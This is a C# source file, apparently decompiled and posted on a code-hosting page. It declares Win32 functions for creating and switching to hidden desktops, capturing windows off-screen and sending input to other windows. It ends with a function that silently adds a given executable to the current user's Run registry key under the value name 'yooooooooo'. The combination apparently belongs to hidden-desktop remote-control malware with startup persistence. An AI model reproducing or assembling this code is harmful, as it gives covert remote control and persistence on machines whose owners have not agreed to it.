||||
|
||||
public const int HTCLOSE = 20;
|
||||
|
||||
public const int HTMINBUTTON = 8;
|
||||
|
||||
public const int HTMAXBUTTON = 9;
|
||||
|
||||
public const int HTTRANSPARENT = -1;
|
||||
|
||||
public const int VK_RETURN = 13;
|
||||
|
||||
public const int MN_GETHMENU = 481;
|
||||
|
||||
public const int BM_CLICK = 245;
|
||||
|
||||
public const int MAX_PATH = 260;
|
||||
|
||||
public const int WM_NCHITTEST = 132;
|
||||
|
||||
public const int SW_SHOWMAXIMIZED = 3;
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
public static extern IntPtr GetDC(IntPtr hWnd);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
public static extern bool SetThreadDesktop(IntPtr hDesktop);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
public static extern IntPtr OpenDesktop(string lpszDesktop, int dwFlags, bool fInherit, uint dwDesiredAccess);
|
||||
|
||||
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
public static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr GetDesktopWindow();
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
public static extern bool GetWindowRect(IntPtr hwnd, out RECT lpRect);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool IsWindowVisible(IntPtr hWnd);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool PrintWindow(IntPtr hwnd, IntPtr hDC, uint nFlags);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
public static extern IntPtr GetWindow(IntPtr hWnd, GetWindowType uCmd);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr GetTopWindow(IntPtr hWnd);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern bool ReleaseDC(IntPtr hWnd, IntPtr hDC);
|
||||
|
||||
[DllImport("gdi32.dll")]
|
||||
public static extern IntPtr CreateCompatibleDC(IntPtr hdc);
|
||||
|
||||
[DllImport("gdi32.dll")]
|
||||
public static extern IntPtr CreateCompatibleBitmap(IntPtr hdc, int nWidth, int nHeight);
|
||||
|
||||
[DllImport("gdi32.dll")]
|
||||
public static extern IntPtr SelectObject(IntPtr hdc, IntPtr hgdiobj);
|
||||
|
||||
[DllImport("gdi32.dll")]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool DeleteObject(IntPtr hObject);
|
||||
|
||||
[DllImport("gdi32.dll")]
|
||||
public static extern bool DeleteDC(IntPtr hdc);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
public static extern bool CloseDesktop(IntPtr hDesktop);
|
||||
|
||||
[DllImport("gdi32.dll")]
|
||||
public static extern int GetDeviceCaps(IntPtr hdc, int nIndex);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr WindowFromPoint(POINT point);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr SendMessage(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr PostMessage(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern bool ScreenToClient(IntPtr hWnd, ref POINT lpPoint);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr ChildWindowFromPoint(IntPtr hWnd, POINT point);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern bool PtInRect(ref RECT lprc, POINT pt);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern bool SetWindowLong(IntPtr hWnd, int nIndex, int dwNewLong);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern int GetWindowLong(IntPtr hWnd, int nIndex);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern bool GetWindowPlacement(IntPtr hWnd, ref WINDOWPLACEMENT lpwndpl);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern int MenuItemFromPoint(IntPtr hWnd, IntPtr hMenu, POINT pt);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern int GetMenuItemID(IntPtr hMenu, int nPos);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr GetSubMenu(IntPtr hMenu, int nPos);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern bool MoveWindow(IntPtr hWnd, int x, int y, int width, int height, bool repaint);
|
||||
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
public static extern int RealGetWindowClass(IntPtr hwnd, [Out] StringBuilder pszType, int cchType);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
public static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int x, int y, int cx, int cy, uint uFlags);
|
||||
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
public static extern ushort VkKeyScan(char ch);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
public static extern bool EnumDesktopWindows(IntPtr hDesktop, EnumDesktopWindowsDelegate lpfn, IntPtr lParam);
|
||||
|
||||
[DllImport("shell32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool IsUserAnAdmin();
|
||||
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
public static extern int GetWindowTextLength(IntPtr hWnd);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr GetWindowThreadProcessId(IntPtr hWnd, out uint ProcessId);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern bool CloseHandle(IntPtr hObject);
|
||||
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
public static extern int GetClassName(IntPtr hWnd, StringBuilder lpClassName, int nMaxCount);
|
||||
|
||||
public static bool IsAdmin()
|
||||
{
|
||||
bool result = false;
|
||||
try
|
||||
{
|
||||
result = IsUserAnAdmin();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
public static bool AddToStartupNonAdmin(string executablePath, string name = "yooooooooo")
|
||||
{
|
||||
string name2 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
|
||||
try
|
||||
{
|
||||
using (RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64).OpenSubKey(name2, writable: true))
|
||||
{
|
||||
registryKey.SetValue(name, "\"" + executablePath + "\"");
|
||||
}
|
||||
return true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user